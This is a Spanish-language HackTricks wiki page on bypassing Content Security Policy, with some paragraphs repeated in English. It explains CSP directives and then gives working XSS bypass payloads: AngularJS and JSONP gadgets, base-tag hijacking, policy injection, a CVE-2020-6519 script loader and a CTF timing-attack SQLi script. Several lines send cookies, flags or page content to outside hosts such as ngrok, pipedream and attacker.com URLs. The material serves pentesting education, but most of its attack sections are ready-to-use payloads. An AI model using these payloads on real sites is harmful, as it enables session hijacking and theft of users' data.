.. | ||
csp-bypass-self-+-unsafe-inline-with-iframes.md | ||
README.md |
Bypass de la Política de Seguridad de Contenido (CSP)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof y comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
¿Qué es CSP?
Content Security Policy o CSP es una tecnología integrada en los navegadores que ayuda a protegerse de ataques como cross-site scripting (XSS). Enumera y describe las rutas y fuentes desde las cuales el navegador puede cargar de forma segura recursos. Los recursos pueden incluir imágenes, frames, javascript y más. Aquí tienes un ejemplo de recursos permitidos desde el dominio local (self) para ser cargados y ejecutados en línea, y permitir funciones de ejecución de código de cadena como eval
, setTimeout
o setInterval:
Content Security Policy se implementa mediante encabezados de respuesta o elementos meta de la página HTML. El navegador sigue la política recibida y bloquea activamente las violaciones a medida que se detectan.
Implementado mediante encabezado de respuesta:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
Implementado a través de la etiqueta meta:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Encabezados
Content-Security-Policy
Content-Security-Policy-Report-Only
Este no bloqueará nada, solo enviará informes (úselo en un entorno de Pre).
Definición de recursos
CSP funciona restringiendo los orígenes desde donde se pueden cargar contenido activo y pasivo. Además, puede restringir ciertos aspectos del contenido activo, como la ejecución de JavaScript en línea y el uso de eval()
.
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Directivas
- script-src: Esta directiva especifica las fuentes permitidas para JavaScript. Esto incluye no solo las URL cargadas directamente en elementos, sino también cosas como los controladores de eventos de script en línea (onclick) y las hojas de estilo XSLT que pueden activar la ejecución de scripts.
- default-src: Esta directiva define la política para obtener recursos de forma predeterminada. Cuando las directivas de obtención están ausentes en la cabecera CSP, el navegador sigue esta directiva de forma predeterminada.
- Child-src: Esta directiva define los recursos permitidos para los trabajadores web y los contenidos incrustados en marcos.
- connect-src: Esta directiva restringe las URL que se pueden cargar utilizando interfaces como fetch, websocket, XMLHttpRequest.
- frame-src: Esta directiva restringe las URL a los marcos que se pueden llamar.
- frame-ancestors: Esta directiva especifica las fuentes que pueden incrustar la página actual. Esta directiva se aplica a
<frame>
,<iframe>
,<object>
,<embed>
o<applet>
. Esta directiva no se puede utilizar en etiquetas y se aplica solo a recursos que no son HTML. - img-src: Define las fuentes permitidas para cargar imágenes en la página web.
- font-src:: Esta directiva especifica las fuentes válidas para las fuentes cargadas mediante
@font-face
. - manifest-src: Esta directiva define las fuentes permitidas de los archivos de manifiesto de la aplicación.
- media-src: Define las fuentes permitidas desde las que se pueden cargar objetos multimedia.
- object-src: Define las fuentes permitidas para los elementos <object>, <embed> y <applet>.
- base-uri: Define las URL permitidas que se pueden cargar utilizando un elemento.
- form-action: Esta directiva enumera los puntos finales válidos para el envío desde etiquetas.
- plugin-types: Define límites en los tipos de mime que una página puede invocar.
- upgrade-insecure-requests: Esta directiva instruye a los navegadores a reescribir los esquemas de URL, cambiando HTTP a HTTPS. Esta directiva puede ser útil para sitios web con un gran número de URL antiguas que necesitan ser reescritas.
- sandbox: La directiva sandbox permite un sandbox para el recurso solicitado, similar al atributo sandbox. Aplica restricciones a las acciones de una página, incluyendo la prevención de ventanas emergentes, la prevención de la ejecución de complementos y scripts, y la aplicación de una política de mismo origen.
Fuentes
- *: Esto permite cualquier URL excepto los esquemas
data:
,blob:
yfilesystem:
. - self: Esta fuente define que se permite la carga de recursos en la página desde el mismo dominio.
- data: Esta fuente permite cargar recursos a través del esquema de datos (por ejemplo, imágenes codificadas en Base64).
- none: Esta directiva no permite cargar nada desde ninguna fuente.
- unsafe-eval: Esto permite el uso de eval() y métodos similares para crear código a partir de cadenas. No es una práctica segura incluir esta fuente en ninguna directiva. Por la misma razón, se llama insegura.
- unsafe-hashes: Esto permite habilitar controladores de eventos en línea específicos.
- unsafe-inline: Esto permite el uso de recursos en línea, como elementos en línea, URLs de javascript en línea, controladores de eventos en línea y elementos en línea. Nuevamente, esto no se recomienda por razones de seguridad.
- nonce: Una lista blanca para scripts en línea específicos utilizando un nonce criptográfico (número utilizado una vez). El servidor debe generar un valor de nonce único cada vez que transmite una política.
- sha256-<hash>: Lista blanca de scripts con un hash sha256 específico.
- strict-dynamic: Permite al navegador cargar y ejecutar nuevas etiquetas de JavaScript en el DOM desde cualquier fuente de script que haya sido previamente incluida en una valor "nonce" o "hash".
- host: Indica un host como example.com
Reglas CSP inseguras
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Carga útil de trabajo: "/><script>alert(1);</script>
self + 'unsafe-inline' a través de Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Carga de trabajo funcional:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Si de alguna manera puedes hacer que un código JS permitido cree una nueva etiqueta de script en el DOM con tu código JS, porque un script permitido lo está creando, la nueva etiqueta de script se permitirá ejecutar.
Comodín (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Carga de trabajo funcional:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Falta de object-src y default-src
{% hint style="danger" %} Parece que esto ya no funciona {% endhint %}
Content-Security-Policy: script-src 'self' ;
Cargas útiles funcionales:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Carga de archivos + 'self'
Descripción
Al implementar una Política de Seguridad de Contenido (CSP, por sus siglas en inglés) en un sitio web, se pueden especificar directivas para controlar qué recursos se pueden cargar y desde dónde. Una directiva comúnmente utilizada es default-src 'self'
, que permite cargar recursos solo desde el mismo origen del sitio web.
Sin embargo, esta directiva puede ser aprovechada por un atacante para evadir la restricción de carga de archivos y cargar archivos maliciosos en el sitio web.
Técnica de Bypass
El atacante puede aprovechar una vulnerabilidad en el sitio web que permita la carga de archivos y utilizar la directiva default-src 'self'
para cargar archivos maliciosos desde el mismo origen del sitio web.
Para llevar a cabo esta técnica de bypass, el atacante debe:
- Encontrar una vulnerabilidad que permita la carga de archivos en el sitio web.
- Crear un archivo malicioso que contenga código o contenido dañino.
- Cargar el archivo malicioso utilizando la directiva
default-src 'self'
.
Al cargar el archivo malicioso desde el mismo origen del sitio web, el atacante puede evadir la restricción de carga de archivos y ejecutar su código o contenido dañino en el sitio web.
Ejemplo
Supongamos que un sitio web permite la carga de imágenes de perfil de usuario. El sitio web implementa una CSP con la directiva default-src 'self'
, lo que significa que solo se pueden cargar recursos desde el mismo origen del sitio web.
Un atacante descubre una vulnerabilidad en la función de carga de imágenes de perfil y logra cargar un archivo malicioso llamado malicious.jpg
. Aprovechando la directiva default-src 'self'
, el atacante carga el archivo malicious.jpg
desde el mismo origen del sitio web.
Cuando un usuario visita el perfil del atacante, el archivo malicious.jpg
se carga y ejecuta su contenido dañino, lo que puede resultar en la compromisión del sitio web o en la filtración de información confidencial.
Contramedidas
Para evitar esta técnica de bypass, se recomienda:
- Validar y filtrar adecuadamente los archivos cargados por los usuarios.
- No confiar únicamente en la directiva
default-src 'self'
para restringir la carga de archivos. - Implementar otras directivas de CSP para limitar aún más los recursos que se pueden cargar.
- Mantener el sitio web actualizado con los últimos parches de seguridad para evitar vulnerabilidades conocidas.
Nota: Esta técnica de bypass es solo una de las muchas formas en que se puede evadir una CSP. Es importante comprender y mitigar todas las posibles vulnerabilidades y técnicas de bypass para garantizar la seguridad de un sitio web.
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Si puedes subir un archivo JS puedes evadir esta CSP:
Carga útil funcional:
"/>'><script src="/uploads/picture.png.js"></script>
Sin embargo, es muy probable que el servidor esté validando el archivo cargado y solo permitirá cargar un tipo específico de archivos.
Además, incluso si pudieras cargar un código JS dentro de un archivo utilizando una extensión aceptada por el servidor (como: script.png), esto no sería suficiente porque algunos servidores como el servidor Apache seleccionan el tipo MIME del archivo según la extensión y los navegadores como Chrome rechazarán ejecutar código Javascript dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, de un CTF aprendí que Apache no reconoce la extensión .wave, por lo tanto, no la sirve con un tipo MIME como audio/*.
A partir de aquí, si encuentras una XSS y una carga de archivos, y logras encontrar una extensión mal interpretada, puedes intentar cargar un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crea un políglota (algunos ejemplos de políglotas aquí).
Puntos finales de terceros + ('unsafe-eval')
{% hint style="warning" %}
Para algunos de los siguientes payloads, unsafe-eval
ni siquiera es necesario.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Cargar una versión vulnerable de Angular y ejecutar JS arbitrario:
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.30/angular.min.js"></script>
<script>
angular.module('app', [])
.controller('MainController', function($scope, $sce) {
$scope.name = 'John Doe';
$scope.html = $sce.trustAsHtml('<img src=x onerror=alert(1)>');
});
angular.bootstrap(document, ['app']);
</script>
Este código carga una versión vulnerable de AngularJS y ejecuta JavaScript arbitrario. El controlador MainController
asigna el valor 'John Doe'
a la variable $scope.name
y utiliza la función $sce.trustAsHtml()
para confiar en el HTML proporcionado. En este caso, se inserta una etiqueta <img>
con un atributo src
malicioso que ejecutará el código alert(1)
cuando se produzca un error al cargar la imagen.
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Cargas útiles utilizando Angular + una biblioteca con funciones que devuelven el objeto window
(consulta esta publicación):
{% hint style="info" %}
La publicación muestra que podrías cargar todas las bibliotecas desde cdn.cloudflare.com
(o cualquier otro repositorio permitido de bibliotecas JS), ejecutar todas las funciones agregadas de cada biblioteca y verificar qué funciones de qué bibliotecas devuelven el objeto window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Abuso del código JS de Google reCAPTCHA
Según este informe de CTF, puedes abusar de https://www.google.com/recaptcha/ dentro de una CSP para ejecutar código JS arbitrario eludiendo la CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Puntos finales de terceros + JSONP
When a website implements a Content Security Policy (CSP) to restrict the sources from which it can load resources, it may still be vulnerable to bypasses using third-party endpoints and JSONP (JSON with Padding).
Cuando un sitio web implementa una Política de Seguridad de Contenido (CSP) para restringir las fuentes desde las cuales puede cargar recursos, aún puede ser vulnerable a bypasses utilizando puntos finales de terceros y JSONP (JSON con relleno).
JSONP is a technique that allows websites to retrieve data from a different domain by making a request to a third-party endpoint that returns JSON wrapped in a callback function. This technique is commonly used to bypass CSP restrictions because the CSP only applies to resources loaded directly from the website's domain.
JSONP es una técnica que permite a los sitios web recuperar datos de un dominio diferente haciendo una solicitud a un punto final de terceros que devuelve JSON envuelto en una función de devolución de llamada. Esta técnica se utiliza comúnmente para eludir las restricciones de CSP porque el CSP solo se aplica a los recursos cargados directamente desde el dominio del sitio web.
To bypass CSP using JSONP, an attacker can find a third-party endpoint that returns JSONP and use it to load malicious code into the target website. By injecting the malicious code into the JSONP response, the attacker can execute arbitrary JavaScript code on the target website, bypassing the CSP restrictions.
Para eludir CSP utilizando JSONP, un atacante puede encontrar un punto final de terceros que devuelva JSONP y usarlo para cargar código malicioso en el sitio web objetivo. Al inyectar el código malicioso en la respuesta JSONP, el atacante puede ejecutar código JavaScript arbitrario en el sitio web objetivo, eludiendo las restricciones de CSP.
To prevent JSONP bypasses, it is important to carefully review and restrict the third-party endpoints that the website interacts with. Additionally, consider implementing a strict CSP policy that disallows the use of JSONP or limits the allowed domains for JSONP requests.
Para evitar los bypasses de JSONP, es importante revisar cuidadosamente y restringir los puntos finales de terceros con los que interactúa el sitio web. Además, considere implementar una política de CSP estricta que no permita el uso de JSONP o limite los dominios permitidos para las solicitudes de JSONP.
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Escenarios como este, donde script-src
está configurado como self
y un dominio en particular que está en la lista blanca, pueden ser eludidos utilizando JSONP. Los puntos finales de JSONP permiten métodos de devolución de llamada inseguros que permiten a un atacante realizar XSS, carga útil de trabajo:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee contiene puntos finales JSONP listos para usar para eludir la CSP de diferentes sitios web.
La misma vulnerabilidad ocurrirá si el punto final de confianza contiene una redirección abierta porque si el punto final inicial es confiable, las redirecciones también lo son.
Bypass de ruta de carpeta
Si la política de CSP apunta a una carpeta y utilizas %2f para codificar "/", aún se considera que está dentro de la carpeta. Todos los navegadores parecen estar de acuerdo con eso.
Esto lleva a un posible bypass, utilizando "%2f..%2f" si el servidor lo decodifica. Por ejemplo, si CSP permite http://example.com/company/
, puedes eludir la restricción de la carpeta y ejecutar: http://example.com/company%2f..%2fattacker/file.js
Ejemplo en línea: https://jsbin.com/werevijewa/edit?html,output
Ejecución de JS en iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
falta base-uri
Si falta la directiva base-uri, puedes abusar de ella para realizar una inyección de marcado colgante.
Además, si la página está cargando un script usando una ruta relativa (como /js/app.js
) utilizando un Nonce, puedes abusar de la etiqueta base para hacer que se cargue el script desde tu propio servidor logrando un XSS.
Si la página vulnerable se carga con httpS, asegúrate de usar una URL httpS en la base.
<base href="https://www.attacker.com/">
Eventos de AngularJS
Dependiendo de la política específica, el CSP bloqueará los eventos de JavaScript. Sin embargo, AngularJS define sus propios eventos que se pueden utilizar en su lugar. Cuando se encuentra dentro de un evento, AngularJS define un objeto especial $event
, que simplemente hace referencia al objeto de evento del navegador. Puede utilizar este objeto para realizar un bypass del CSP. En Chrome, hay una propiedad especial en el objeto $event/event
llamada path
. Esta propiedad contiene una matriz de objetos que hace que se ejecute el evento. La última propiedad es siempre el objeto window
, que podemos utilizar para realizar un escape del sandbox. Al pasar esta matriz al filtro orderBy
, podemos enumerar la matriz y utilizar el último elemento (el objeto window
) para ejecutar una función global, como alert()
. El siguiente código demuestra esto:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Encuentra otras formas de bypass Angular en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS y dominio en lista blanca
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Si la aplicación está utilizando Angular JS y los scripts se cargan desde un dominio permitido, es posible eludir esta política CSP llamando a funciones de devolución de llamada y clases vulnerables. Para obtener más detalles, visita este increíble repositorio en git.
Cargas útiles funcionales:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Otros puntos finales de ejecución arbitraria JSONP se pueden encontrar aquí (algunos de ellos fueron eliminados o corregidos)
Bypass CSP con marcado colgante
Lea cómo aquí.
'unsafe-inline'; img-src *; a través de XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y img-src *
significa que puedes usar en la página web cualquier imagen de cualquier recurso.
Puedes evadir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, XSS abusa de un CSRF donde una página accesible por el bot contiene una SQLi y extrae la bandera a través de una imagen):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
Desde: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
También se puede abusar de esta configuración para cargar código JavaScript insertado dentro de una imagen. Por ejemplo, si la página permite cargar imágenes desde Twitter, se puede crear una imagen especial, subirla a Twitter y abusar de la directiva "unsafe-inline" para ejecutar un código JS (como un XSS regular) que cargará la imagen, extraerá el JS de ella y lo ejecutará: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Con Service Workers
La función importScripts
de los service workers no está limitada por la CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Inyección de Políticas
Investigación: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Si un parámetro enviado por ti es pegado dentro de la declaración de la política, entonces se puede alterar la política de alguna manera que la vuelva inútil. Se puede permitir el script 'unsafe-inline' con cualquiera de estos bypasses:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Porque esta directiva sobrescribirá las directivas script-src existentes.
Puedes encontrar un ejemplo aquí: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
En Edge es mucho más simple. Si puedes agregar esto en la CSP: ;_
Edge descartará toda la política.
Ejemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; a través de XSS (iframe) - Ataque de tiempo
Observa la falta de la directiva 'unsafe-inline'
Esta vez puedes hacer que la víctima cargue una página bajo tu control a través de XSS con un <iframe>
. Esta vez harás que la víctima acceda a la página desde donde deseas extraer información (CSRF). No puedes acceder al contenido de la página, pero si de alguna manera puedes controlar el tiempo que la página necesita para cargarse, puedes extraer la información que necesitas.
Esta vez se va a extraer una bandera, cada vez que se adivine correctamente un carácter a través de SQLi, la respuesta tardará más tiempo debido a la función de espera. Luego, podrás extraer la bandera:
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
A través de Bookmarklets
Este ataque implicaría ingeniería social donde el atacante convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador. Este bookmarklet contendría código javascript malicioso que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, burlando la CSP y permitiendo robar información sensible como cookies o tokens.
Para obtener más información, consulta el informe original aquí.
Burlando CSP restringiendo CSP
En este informe de CTF, se burla la CSP inyectando dentro de un iframe permitido una CSP más restrictiva que impide cargar un archivo JS específico que, luego, a través de polución de prototipos o sobrescritura del DOM, permite abusar de un script diferente para cargar un script arbitrario.
Puedes restringir una CSP de un iframe con el atributo csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
En este informe de CTF, fue posible a través de inyección HTML restringir aún más una CSP para deshabilitar un script que previene CSTI y, por lo tanto, la vulnerabilidad se volvió explotable.
CSP puede ser más restrictivo utilizando etiquetas meta HTML y los scripts en línea pueden ser deshabilitados eliminando la entrada que permite su nonce y habilitando scripts en línea específicos a través de sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
Exfiltración de JS con Content-Security-Policy-Report-Only
Si logras que el servidor responda con el encabezado Content-Security-Policy-Report-Only
con un valor controlado por ti (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si envuelves el contenido JS que deseas exfiltrar con <script>
y debido a que es altamente probable que unsafe-inline
no esté permitido por la CSP, esto desencadenará un error de CSP y parte del script (que contiene la información sensible) se enviará al servidor desde Content-Security-Policy-Report-Only
.
Para un ejemplo, consulta este informe de CTF.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Fuga de información CSP + Iframe
Imagina una situación en la que una página redirige a otra página con un secreto dependiendo del usuario. Por ejemplo, cuando el usuario admin accede a redirectme.domain1.com, es redirigido a adminsecret321.domain2.com y puedes causar un XSS al admin.
Además, las páginas redirigidas no están permitidas por la política de seguridad, pero la página que redirige sí lo está.
Puedes filtrar el dominio al que se redirige el admin a través de:
- violación de CSP
- reglas de CSP.
La violación de CSP es una filtración instantánea. Todo lo que se necesita hacer es cargar un iframe que apunte a https://redirectme.domain1.com
y escuchar el evento securitypolicyviolation
que contiene la propiedad blockedURI
que contiene el dominio del URI bloqueado. Esto se debe a que https://redirectme.domain1.com
(permitido por CSP) redirige a https://adminsecret321.domain2.com
(bloqueado por CSP). Esto aprovecha el comportamiento no definido de cómo manejar iframes con CSP. Chrome y Firefox se comportan de manera diferente en este aspecto.
Cuando conoces los caracteres que pueden componer el subdominio secreto, también puedes utilizar una búsqueda binaria y verificar cuándo CSP bloquea el recurso y cuándo no, creando diferentes dominios prohibidos en CSP (en este caso, el secreto puede tener la forma doc-X-XXXX.secdrivencontent.dev)
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Truco de aquí.
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
Tecnologías inseguras para evadir CSP
Sobrecarga del búfer de respuesta de PHP
PHP es conocido por almacenar en búfer la respuesta hasta 4096 bytes de forma predeterminada. Por lo tanto, si PHP muestra una advertencia, al proporcionar suficientes datos dentro de las advertencias, la respuesta se enviará antes del encabezado CSP, lo que hará que el encabezado se ignore.
Entonces, la técnica consiste básicamente en llenar el búfer de respuesta con advertencias para que el encabezado CSP no se envíe.
Idea de este writeup.
Reescribir la página de error
Según este writeup, parece ser posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un punto final de una página para abusar de otros puntos finales del mismo origen. Esto se hace cargando el punto final vulnerable desde una página del atacante y luego actualizando la página del atacante al punto final real en el mismo origen que se desea abusar. De esta manera, el punto final vulnerable puede usar el objeto opener
en la carga útil para acceder al DOM del punto final real para abusar de él. Para obtener más información, consulta:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
Además, wordpress tiene un punto final JSONP en /wp-json/wp/v2/users/1?_jsonp=data
que reflejará los datos enviados en la salida (con la limitación de solo letras, números y puntos).
Un atacante puede abusar de ese punto final para generar un ataque SOME contra WordPress e incrustarlo dentro de <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
. Ten en cuenta que este script se cargará porque está permitido por 'self'. Además, y debido a que WordPress está instalado, un atacante podría abusar del ataque SOME a través del punto final de callback vulnerable que bypasses the CSP para otorgar más privilegios a un usuario, instalar un nuevo complemento...
Para obtener más información sobre cómo realizar este ataque, consulta https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Bypasses de exfiltración de CSP
Si hay un CSP estricto que no te permite interactuar con servidores externos, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
Location
Simplemente puedes actualizar la ubicación para enviar al servidor del atacante la información secreta:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Etiqueta meta
Podrías redirigir mediante la inyección de una etiqueta meta (esto es solo una redirección, no filtrará contenido)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
Para cargar las páginas más rápido, los navegadores resuelven de antemano los nombres de host en direcciones IP y las almacenan en caché para su uso posterior.
